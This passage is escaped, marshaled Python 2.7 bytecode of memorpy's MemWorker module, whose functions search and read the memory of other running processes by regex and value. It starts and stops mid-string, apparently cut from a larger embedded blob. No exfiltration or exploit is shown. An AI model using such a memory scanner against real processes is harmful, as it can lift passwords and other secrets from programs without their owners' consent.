%sR\\\\x15\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00R\\\\n\\\\x00\\\\x00\\\\x00(\\\\x05\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00structt\\\\x04\\\\x00\\\\x00\\\\x00packR5\\\\x00\\\\x00\\\\x00t\\\\x13\\\\x00\\\\x00\\\\x00NotImplementedErrorR\\\\x19\\\\x00\\\\x00\\\\x00(\\\\x08\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00groupR\\\\x0b\\\\x00\\\\x00\\\\x00R\\\\n\\\\x00\\\\x00\\\\x00R)\\\\x00\\\\x00\\\\x00R\\\\x10\\\\x00\\\\x00\\\\x00R\\\\x0f\\\\x00\\\\x00\\\\x00R4\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sQ\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\\\x0c\\\\x00\\\\x00\\\\x00group_searchL\\\\x00\\\\x00\\\\x00s\\\\x0e\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x06\\\\x01\\\\x13\\\\x01\\\\x18\\\\x01\\\\x18\\\\x01\\\\x18\\\\x02\\\\x14\\\\x02c\\\\x02\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00\\\\x00\\\\x07\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x82\\\\x00\\\\x00\\\\x00d\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x16}\\\\x02\\\\x00t\\\\x00\\\\x00j\\\\x01\\\\x00d\\\\x02\\\\x00|\\\\x02\\\\x00\\\\x16\\\\x83\\\\x01\\\\x00\\\\x01d\\\\x03\\\\x00}\\\\x03\\\\x00xB\\\\x00t\\\\x02\\\\x00t\\\\x03\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x04\\\\x00\\\\x18d\\\\x05\\\\x00d\\\\x06\\\\x00\\\\x83\\\\x03\\\\x00D]$\\\\x00}\\\\x04\\\\x00|\\\\x03\\\\x00t\\\\x04\\\\x00j\\\\x05\\\\x00|\\\\x02\\\\x00|\\\\x04\\\\x00|\\\\x04\\\\x00d\\\\x04\\\\x00\\\\x17!\\\\x83\\\\x01\\\\x007}\\\\x03\\\\x00q>\\\\x00W|\\\\x00\\\\x00j\\\\x06\\\\x00t\\\\x07\\\\x00j\\\\x08\\\\x00|\\\\x03\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x07\\\\x00d\\\\x08\\\\x00\\\\x83\\\\x01\\\\x01S(\\\\t\\\\x00\\\\x00\\\\x00Ns\\\\x04\\\\x00\\\\x00\\\\x00%08Xs\\\\x14\\\\x00\\\\x00\\\\x00searching address %sR3\\\\x00\\\\x00\\\\x00i\\\\x02\\\\x00\\\\x00\\\\x00i\\\\xff\\\\xff\\\\xff\\\\xffi\\\\xfe\\\\xff\\\\xff\\\\xffR\\\\x15\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00(\\\\t\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00R\\\\x06\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00ranget\\\\x03\\\\x00\\\\x00\\\\x00lent\\\\x08\\\\x00\\\\x00\\\\x00binasciit\\\\t\\\\x00\\\\x00\\\\x00unhexlifyR\\\\x19\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00escape(\\\\x05\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00R \\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00aR)\\\\x00\\\\x00\\\\x00R1\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sQ\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyR!\\\\x00\\\\x00\\\\x00W\\\\x00\\\\x00\\\\x00s\\\\x0c\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\n\\\\x01\\\\x11\\\\x01\\\\x06\\\\x01#\\\\x01\"\\\\x02c\\\\x04\\\\x00\\\\x00\\\\x00\\\\x07\\\\x00\\\\x00\\\\x00\\\\x06\\\\x00\\\\x00\\\\x00c\\\\x00\\\\x00\\\\x00sV\\\\x00\\\\x00\\\\x00xO\\\\x00|\\\\x02\\\\x00D]G\\\\x00\\\\\\\\\\\\x02\\\\x00}\\\\x04\\\\x00}\\\\x05\\\\x00x8\\\\x00|\\\\x05\\\\x00j\\\\x00\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00D]\\\\\\'\\\\x00}\\\\x06\\\\x00|\\\\x04\\\\x00|\\\\x00\\\\x00j\\\\x01\\\\x00|\\\\x03\\\\x00|\\\\x06\\\\x00j\\\\x02\\\\x00\\\\x83\\\\x00\\\\x00\\\\x17d\\\\x01\\\\x00\\\\x83\\\\x02\\\\x00f\\\\x02\\\\x00V\\\\x01q#\\\\x00Wq\\\\x07\\\\x00Wd\\\\x00\\\\x00S(\\\\x02\\\\x00\\\\x00\\\\x00Nt\\\\x05\\\\x00\\\\x00\\\\x00bytes(\\\\x03\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00finditerR\\\\x00\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00start(\\\\x07\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00bR\\\\x10\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00offsetR\\\\x04\\\\x00\\\\x00\\\\x00R)\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00res(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sQ\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\\\x11\\\\x00\\\\x00\\\\x00parse_re_function`\\\\x00\\\\x00\\\\x00s\\\\x08\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x13\\\\x01\\\\x16\\\\x01!\\\\tc\\\\x04\\\\x00\\\\x00\\\\x00\\\\n\\\\x00\\\\x00\\\\x00\\\\x07\\\\x00\\\\x00\\\\x00c\\\\x00\\\\x00\\\\x00s\\\\xaa\\\\x00\\\\x00\\\\x00x\\\\xa3\\\\x00t\\\\x00\\\\x00d\\\\x01\\\\x00t\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x02\\\\x00D]\\\\x8c\\\\x00}\\\\x04\\\\x00yp\\\\x00t\\\\x02\\\\x00j\\\\x03\\\\x00d\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00\\\\\\\\\\\\x02\\\\x00}\\\\x05\\\\x00}\\\\x06\\\\x00t\\\\x04\\\\x00j\\\\x05\\\\x00|\\\\x05\\\\x00|\\\\x01\\\\x00|\\\\x04\\\\x00|\\\\x04\\\\x00d\\\\x03\\\\x00\\\\x17!\\\\x83\\\\x02\\\\x00d\\\\x01\\\\x00\\\\x19}\\\\x07\\\\x00t\\\\x06\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00t\\\\x06\\\\x00|\\\\x07\\\\x00\\\\x83\\\\x01\\\\x00k\\\\x02\\\\x00r\\\\x8b\\\\x00|\\\\x03\\\\x00|\\\\x04\\\\x00\\\\x17}\\\\x08\\\\x00|\\\\x00\\\\x00j\\\\x07\\\\x00|\\\\x08\\\\x00d\\\\x02\\\\x00\\\\x83\\\\x02\\\\x00V\\\\x01n\\\\x00\\\\x00Wq\\\\x16\\\\x00\\\\x04t\\\\x08\\\\x00k\\\\n\\\\x00r\\\\xa1\\\\x00\\\\x01}\\\\t\\\\x00\\\\x01q\\\\x16\\\\x00Xq\\\\x16\\\\x00Wd\\\\x00\\\\x00S(\\\\x04\\\\x00\\\\x00\\\\x00Ni\\\\x00\\\\x00\\\\x00\\\\x00R5\\\\x00\\\\x00\\\\x00i\\\\x04\\\\x00\\\\x00\\\\x00(\\\\t\\\\x00\\\\x00\\\\x00R;\\\\x00\\\\x00\\\\x00R<\\\\x00\\\\x00\\\\x00R\"\\\\x00\\\\x00\\\\x00t\\\\x0b\\\\x00\\\\x00\\\\x00type_unpackR6\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00unpackR\\\\x17\\\\x00\\\\x00\\\\x00R\\\\x00\\\\x00\\\\x00\\\\x00t\\\\t\\\\x00\\\\x00\\\\x00Exception(\\\\n\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00RD\\\\x00\\\\x00\\\\x00R\\\\x10\\\\x00\\\\x00\\\\x00RE\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00indext\\\\n\\\\x00\\\\x00\\\\x00structtypet\\\\t\\\\x00\\\\x00\\\\x00structlent\\\\x06\\\\x00\\\\x00\\\\x00tmpvalt\\\\x07\\\\x00\\\\x00\\\\x00soffsett\\\\x01\\\\x00\\\\x00\\\\x00e(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sQ\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\\\x14\\\\x00\\\\x00\\\\x00parse_float_functionn\\\\x00\\\\x00\\\\x00s\\\\x12\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x1c\\\\x01\\\\x03\\\\x01\\\\x15\\\\x01!\\\\x01\\\\x18\\\\x01\\\\n\\\\x01\\\\x18\\\\x01\\\\x0f\\\\x01c\\\\x04\\\\x00\\\\x00\\\\x00\\\\x07\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00c\\\\x00\\\\x00\\\\x00sF\\\\x00\\\\x00\\\\x00x?\\\\x00|\\\\x02\\\\x00D]7\\\\x00\\\\\\\\\\\\x02\\\\x00}\\\\x04\\\\x00}\\\\x05\\\\x00x(\\\\x00|\\\\x05\\\\x00j\\\\x00\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00D]\\\\x17\\\\x00}\\\\x06\\\\x00|\\\\x04\\\\x00|\\\\x06\\\\x00j\\\\x01\\\\x00\\\\x83\\\\x00\\\\x00f\\\\x02\\\\x00V\\\\x01q#\\\\x00Wq\\\\x07\\\\x00Wd\\\\x00\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x02\\\\x00\\\\x00\\\\x00RB\\\\x00\\\\x00\\\\x00t\\\\t\\\\x00\\\\x00\\\\x00groupdict(\\\\x07\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00RD\\\\x00\\\\x00\\\\x00R\\\\x10\\\\x00\\\\x00\\\\x00RE\\\\x00\\\\x00\\\\x00R\\\\x04\\\\x00\\\\x00\\\\x00R)\\\\x00\\\\x00\\\\x00RF\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sQ\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\\\x1b\\\\x00\\\\x00\\\\x00parse_named_groups_functiony\\\\x00\\\\x00\\\\x00s\\\\x06\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x13\\\\x01\\\\x16\\\\x01c\\\\x04\\\\x00\\\\x00\\\\x00\\\\x07\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00c\\\\x00\\\\x00\\\\x00sF\\\\x00\\\\x00\\\\x00x?\\\\x00|\\\\x02\\\\x00D]7\\\\x00\\\\\\\\\\\\x02\\\\x00}\\\\x04\\\\x00}\\\\x05\\\\x00x(\\\\x00|\\\\x05\\\\x00j\\\\x00\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00D]\\\\x17\\\\x00}\\\\x06\\\\x00|\\\\x04\\\\x00|\\\\x06\\\\x00j\\\\x01\\\\x00\\\\x83\\\\x00\\\\x00f\\\\x02\\\\x00V\\\\x01q#\\\\x00Wq\\\\x07\\\\x00Wd\\\\x00\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x02\\\\x00\\\\x00\\\\x00RB\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00groups(\\\\x07\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00RD\\\\x00\\\\x00\\\\x00R\\\\x10\\\\x00\\\\x00\\\\x00RE\\\\x00\\\\x00\\\\x00R\\\\x04\\\\x00\\\\x00\\\\x00R)\\\\x00\\\\x00\\\\x00RF\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sQ\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\\\x15\\\\x00\\\\x00\\\\x00parse_groups_function~\\\\x00\\\\x00\\\\x00s\\\\x06\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x13\\\\x01\\\\x16\\\\x01c\\\\x04\\\\x00\\\\x00\\\\x00\\\\x06\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00c\\\\x00\\\\x00\\\\x00sW\\\\x00\\\\x00\\\\x00|\\\\x01\\\\x00j\\\\x00\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x04\\\\x00xA\\\\x00|\\\\x04\\\\x00d\\\\x01\\\\x00k\\\\x03\\\\x00rR\\\\x00|\\\\x03\\\\x00|\\\\x04\\\\x00\\\\x17}\\\\x05\\\\x00|\\\\x00\\\\x00j\\\\x01\\\\x00|\\\\x05\\\\x00d\\\\x02\\\\x00\\\\x83\\\\x02\\\\x00V\\\\x01|\\\\x01\\\\x00j\\\\x00\\\\x00|\\\\x02\\\\x00|\\\\x04\\\\x00d\\\\x03\\\\x00\\\\x17\\\\x83\\\\x02\\\\x00}\\\\x04\\\\x00q\\\\x12\\\\x00Wd\\\\x00\\\\x00S(\\\\x04\\\\x00\\\\x00\\\\x00Ni\\\\xff\\\\xff\\\\xff\\\\xffRA\\\\x00\\\\x00\\\\x00i\\\\x01\\\\x00\\\\x00\\\\x00(\\\\x02\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00findR\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x06\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00RD\\\\x00\\\\x00\\\\x00R\\\\x10\\\\x00\\\\x00\\\\x00RE\\\\x00\\\\x00\\\\x00RK\\\\x00\\\\x00\\\\x00RO\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sQ\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\\\x12\\\\x00\\\\x00\\\\x00parse_any_function\\\\x83\\\\x00\\\\x00\\\\x00s\\\\n\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x0f\\\\x01\\\\x0f\\\\x01\\\\n\\\\x01\\\\x11\\\\x01t\\\\x05\\\\x00\\\\x00\\\\x00matchc\\\\x07\\\\x00\\\\x00\\\\x00\\\\x16\\\\x00\\\\x00\\\\x00\\\\t\\\\x00\\\\x00\\\\x00c\\\\x00\\\\x00\\\\x00s\\\\x96\\\\x03\\\\x00\\\\x00|\\\\x02\\\\x00d\\\\x01\\\\x00k\\\\x02\\\\x00s$\\\\x00|\\\\x02\\\\x00d\\\\x02\\\\x00k\\\\x02\\\\x00s$\\\\x00|\\\\x02\\\\x00d\\\\x03\\\\x00k\\\\x02\\\\x00r\\\\x0c\\\\x01t\\\\x00\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00t\\\\x01\\\\x00k\\\\t\\\\x00rB\\\\x00|\\\\x01\\\\x00g\\\\x01\\\\x00}\\\\x01\\\\x00n\\\\x00\\\\x00g\\\\x00\\\\x00}\\\\x07\\\\x00x\\\\xb8\\\\x00|\\\\x01\\\\x00D]\\\\xb0\\\\x00}\\\\x08\\\\x00t\\\\x00\\\\x00|\\\\x08\\\\x00\\\\x83\\\\x01\\\\x00t\\\\x02\\\\x00k\\\\x08\\\\x00r\\\\xb0\\\\x00|\\\\x08\\\\x00d\\\\x04\\\\x00\\\\x19}\\\\t\\\\x00t\\\\x00\\\\x00|\\\\x08\\\\x00d\\\\x05\\\\x00\\\\x19\\\\x83\\\\x01\\\\x00t\\\\x03\\\\x00k\\\\x03\\\\x00r\\\\xa3\\\\x00t\\\\x04\\\\x00j\\\\x05\\\\x00|\\\\x08\\\\x00d\\\\x05\\\\x00\\\\x19t\\\\x04\\\\x00j\\\\x06\\\\x00\\\\x83\\\\x02\\\\x00}\\\\n\\\\x00q\\\\xec\\\\x00|\\\\x08\\\\x00d\\\\x05\\\\x00\\\\x19}\\\\n\\\\x00n<\\\\x00t\\\\x00\\\\x00|\\\\x08\\\\x00\\\\x83\\\\x01\\\\x00t\\\\x03\\\\x00k\\\\x02\\\\x00r\\\\xd1\\\\x00d\\\\x06\\\\x00}\\\\t\\\\x00|\\\\x08\\\\x00}\\\\n\\\\x00n\\\\x1b\\\\x00d\\\\x06\\\\x00}\\\\t\\\\x00t\\\\x04\\\\x00j\\\\x05\\\\x00|\\\\x08\\\\x00t\\\\x04\\\\x00j\\\\x06\\\\x00\\\\x83\\\\x02\\\\x00}\\\\n\\\\x00|\\\\x07\\\\x00j\\\\x07\\\\x00|\\\\t\\\\x00|\\\\n\\\\x00f\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01qO\\\\x00W|\\\\x07\\\\x00}\\\\x01\\\\x00nr\\\\x00|\\\\x02\\\\x00d\\\\x07\\\\x00k\\\\x03\\\\x00r~\\\\x01|\\\\x02\\\\x00d\\\\x08\\\\x00k\\\\x03\\\\x00r~\\\\x01|\\\\x02\\\\x00d\\\\x01\\\\x00k\\\\x03\\\\x00r~\\\\x01|\\\\x02\\\\x00d\\\\x02\\\\x00k\\\\x03\\\\x00r~\\\\x01|\\\\x02\\\\x00d\\\\x03\\\\x00k\\\\x03\\\\x00r~\\\\x01|\\\\x02\\\\x00d\\\\t\\\\x00k\\\\x03\\\\x00r~\\\\x01t\\\\x08\\\\x00j\\\\t\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00\\\\\\\\\\\\x02\\\\x00}\\\\x0b\\\\x00}\\\\x0c\\\\x00t\\\\n\\\\x00j\\\\x0b\\\\x00|\\\\x0b\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x02\\\\x00}\\\\x01\\\\x00n\\\\x00\\\\x00|\\\\x02\\\\x00d\\\\x01\\\\x00k\\\\x02\\\\x00r\\\\x96\\\\x01|\\\\x00\\\\x00j\\\\x0c\\\\x00}\\\\r\\\\x00nf\\\\x00|\\\\x02\\\\x00d\\\\x02\\\\x00k\\\\x02\\\\x00r\\\\xae\\\\x01|\\\\x00\\\\x00j\\\\r\\\\x00}\\\\r\\\\x00nN\\\\x00|\\\\x02\\\\x00d\\\\x03\\\\x00k\\\\x02\\\\x00r\\\\xc6\\\\x01|\\\\x00\\\\x00j\\\\x0e\\\\x00}\\\\r\\\\x00n6\\\\x00|\\\\x02\\\\x00d\\\\n\\\\x00k\\\\x02\\\\x00r\\\\xde\\\\x01|\\\\x00\\\\x00j\\\\x0f\\\\x00}\\\\r\\\\x00n\\\\x1e\\\\x00|\\\\x02\\\\x00d\\\\t\\\\x00k\\\\x02\\\\x00r\\\\xf3\\\\x01|\\\\x01\\\\x00}\\\\r\\\\x00n\\\\t\\\\x00|\\\\x00\\\\x00j\\\\x10\\\\x00}\\\\r\\\\x00|\\\\x00\\\\x00j\\\\x11\\\\x00j\\\\x12\\\\x00s!\\\\x02t\\\\x13\\\\x00d\\\\x0b\\\\x00|\\\\x00\\\\x00j\\\\x11\\\\x00j\\\\x14\\\\x00\\\\x16\\\\x83\\\\x01\\\\x00\\\\x82\\\\x01\\\\x00n\\\\x00\\\\x00xn\\\\x01|\\\\x00\\\\x00j\\\\x11\\\\x00j\\\\x15\\\\x00d\\\\x0c\\\\x00|\\\\x05\\\\x00d\\\\r\\\\x00|\\\\x06\\\\x00d\\\\x0e\\\\x00|\\\\x03\\\\x00d\\\\x0f\\\\x00|\\\\x04\\\\x00\\\\x83\\\\x00\\\\x04D]E\\\\x01\\\\\\\\\\\\x02\\\\x00}\\\\x0e\\\\x00}\\\\x0f\\\\x00d\\\\x06\\\\x00}\\\\x10\\\\x00|\\\\x0e\\\\x00}\\\\x11\\\\x00d\\\\x04\\\\x00}\\\\x12\\\\x00t\\\\x16\\\\x00}\\\\x13\\\\x00x\\\\xb9\\\\x00|\\\\x12\\\\x00|\\\\x0f\\\\x00k\\\\x00\\\\x00r(\\\\x03z\\\\x91\\\\x00y\\\\x1d\\\\x00|\\\\x10\\\\x00|\\\\x00\\\\x00j\\\\x11\\\\x00j\\\\x17\\\\x00|\\\\x11\\\\x00|\\\\x0f\\\\x00\\\\x83\\\\x02\\\\x007}\\\\x10\\\\x00Wnm\\\\x00\\\\x04t\\\\x18\\\\x00k\\\\n\\\\x00r\\\\xe5\\\\x02\\\\x01}\\\\x14\\\\x00\\\\x01t\\\\x19\\\\x00j\\\\x1a\\\\x00\\\\x83\\\\x00\\\\x00GH|\\\\x14\\\\x00j\\\\x1b\\\\x00d\\\\x10\\\\x00k\\\\x02\\\\x00r\\\\xce\\\\x02\\\\x82\\\\x00\\\\x00n\\\\r\\\\x00t\\\\x1c\\\\x00j\\\\x1d\\\\x00|\\\\x14\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01t\\\\x1e\\\\x00}\\\\x13\\\\x00Pn\\\\\\'\\\\x00\\\\x04t\\\\x1f\\\\x00k\\\\n\\\\x00r\\\\x0b\\\\x03\\\\x01}\\\\x14\\\\x00\\\\x01t\\\\x1c\\\\x00j\\\\x1d\\\\x00|\\\\x14\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01t\\\\x1e\\\\x00}\\\\x13\\\\x00Pn\\\\x01\\\\x00XWd\\\\x11\\\\x00|\\\\x11\\\\x00|\\\\x0f\\\\x007}\\\\x11\\\\x00|\\\\x12\\\\x00|\\\\x0f\\\\x007}\\\\x12\\\\x00Xqp\\\\x02W|\\\\x13\\\\x00r5\\\\x03qI\\\\x02n\\\\x00\\\\x00|\\\\x10\\\\x00rI\\\\x02|\\\\x02\\\\x00d\\\\t\\\\x00k\\\\x02\\\\x00ri\\\\x03xA\\\\x00|\\\\r\\\\x00|\\\\x10\\\\x00|\\\\x0e\\\\x00\\\\x83\\\\x02\\\\x00D]\\\\x0b\\\\x00}\\\\x15\\\\x00|\\\\x15\\\\x00V\\\\x01qW\\\\x03Wq\\\\x8e\\\\x03x\"\\\\x00|\\\\r\\\\x00|\\\\x10\\\\x00|\\\\x01\\\\x00|\\\\x0e\\\\x00\\\\x83\\\\x03\\\\x00D]\\\\x0b\\\\x00}\\\\x15\\\\x00|\\\\x15\\\\x00V\\\\x01q|\\\\x03WqI\\\\x02qI\\\\x02Wd\\\\x11\\\\x00S(\\\\x12\\\\x00\\\\x00\\\\x00sZ\\\\x00\\\\x00\\\\x00 \\\\n                iterator returning all indexes where the pattern has been found\\\\n        R&\\\\x00\\\\x00\\\\x00RT\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00ngroupsi\\\\x00\\\\x00\\\\x00\\\\x00i\\\\x01\\\\x00\\\\x00\\\\x00R3\\\\x00\\\\x00\\\\x00RX\\\\x00\\\\x00\\\\x00R9\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00lambdaR5\\\\x00\\\\x00\\\\x00s(\\\\x00\\\\x00\\\\x00Can\\\\\\'t read_bytes, process %s is not openR\\\\x0b\\\\x00\\\\x00\\\\x00R\\\\n\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00protect\\\\r\\\\x00\\\\x00\\\\x00optimizationsi\\\\r\\\\x00\\\\x00\\\\x00N( \\\\x00\\\\x00\\\\x00R\\\\x0f\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00listt\\\\x05\\\\x00\\\\x00\\\\x00tuplet\\\\n\\\\x00\\\\x00\\\\x00REGEX_TYPER&\\\\x00\\\\x00\\\\x00R\\\\\\'\\\\x00\\\\x00\\\\x00t\\\\n\\\\x00\\\\x00\\\\x00IGNORECASEt\\\\x06\\\\x00\\\\x00\\\\x00appendR\"\\\\x00\\\\x00\\\\x00RH\\\\x00\\\\x00\\\\x00R6\\\\x00\\\\x00\\\\x00R7\\\\x00\\\\x00\\\\x00RG\\\\x00\\\\x00\\\\x00RU\\\\x00\\\\x00\\\\x00RS\\\\x00\\\\x00\\\\x00RQ\\\\x00\\\\x00\\\\x00RW\\\\x00\\\\x00\\\\x00R\\\\x08\\\\x00\\\\x00\\\\x00t\\\\r\\\\x00\\\\x00\\\\x00isProcessOpent\\\\x10\\\\x00\\\\x00\\\\x00ProcessExceptionR\\\\x05\\\\x00\\\\x00\\\\x00t\\\\x0b\\\\x00\\\\x00\\\\x00iter_regionR.\\\\x00\\\\x00\\\\x00t\\\\n\\\\x00\\\\x00\\\\x00read_bytest\\\\x07\\\\x00\\\\x00\\\\x00IOErrorR\\\\x11\\\\x00\\\\x00\\\\x00t\\\\n\\\\x00\\\\x00\\\\x00format_exct\\\\x05\\\\x00\\\\x00\\\\x00errnoR\\\\x1c\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00warningR,\\\\x00\\\\x00\\\\x00RJ\\\\x00\\\\x00\\\\x00(\\\\x16\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00R\\\\x10\\\\x00\\\\x00\\\\x00R\\\\x15\\\\x00\\\\x00\\\\x00R[\\\\x00\\\\x00\\\\x00R\\\\\\\\\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00R\\\\n\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00tmpt\\\\x03\\\\x00\\\\x00\\\\x00regR\\\\x04\\\\x00\\\\x00\\\\x00R)\\\\x00\\\\x00\\\\x00RL\\\\x00\\\\x00\\\\x00RM\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00funcRE\\\\x00\\\\x00\\\\x00t\\\\n\\\\x00\\\\x00\\\\x00chunk_sizeRD\\\\x00\\\\x00\\\\x00t\\\\x0e\\\\x00\\\\x00\\\\x00current_offsett\\\\n\\\\x00\\\\x00\\\\x00chunk_readt\\\\t\\\\x00\\\\x00\\\\x00chunk_excRP\\\\x00\\\\x00\\\\x00RF\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sQ\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyR\\\\x19\\\\x00\\\\x00\\\\x00\\\\x8a\\\\x00\\\\x00\\\\x00s~\\\\x00\\\\x00\\\\x00\\\\x00\\\\x06$\\\\x03\\\\x12\\\\x01\\\\x0c\\\\x02\\\\x06\\\\x01\\\\r\\\\x01\\\\x12\\\\x01\\\\n\\\\x01\\\\x16\\\\x01\\\\x1c\\\\x02\\\\r\\\\x01\\\\x12\\\\x01\\\\x06\\\\x01\\\\t\\\\x02\\\\x06\\\\x01\\\\x15\\\\x03\\\\x17\\\\x01\\\\t\\\\x02H\\\\x01\\\\x15\\\\x01\\\\x15\\\\x03\\\\x0c\\\\x01\\\\x0c\\\\x02\\\\x0c\\\\x01\\\\x0c\\\\x02\\\\x0c\\\\x01\\\\x0c\\\\x02\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\t\\\\x02\\\\t\\\\x02\\\\x0c\\\\x01\\\\x19\\\\x024\\\\x01\\\\x06\\\\x01\\\\x06\\\\x01\\\\x06\\\\x01\\\\x06\\\\x01\\\\x0f\\\\x01\\\\x03\\\\x00\\\\x03\\\\x01\\\\x1d\\\\x01\\\\x0f\\\\x01\\\\x0b\\\\x01\\\\x0f\\\\x01\\\\x06\\\\x02\\\\r\\\\x01\\\\x06\\\\x01\\\\x04\\\\x01\\\\x0f\\\\x01\\\\r\\\\x01\\\\x06\\\\x01\\\\t\\\\x02\\\\n\\\\x01\\\\x0f\\\\x02\\\\x06\\\\x01\\\\x06\\\\x02\\\\x06\\\\x01\\\\x0c\\\\x01\\\\x16\\\\x01\\\\x0c\\\\x02\\\\x19\\\\x01N(\\\\x15\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00__name__t\\\\n\\\\x00\\\\x00\\\\x00__module__t\\\\x04\\\\x00\\\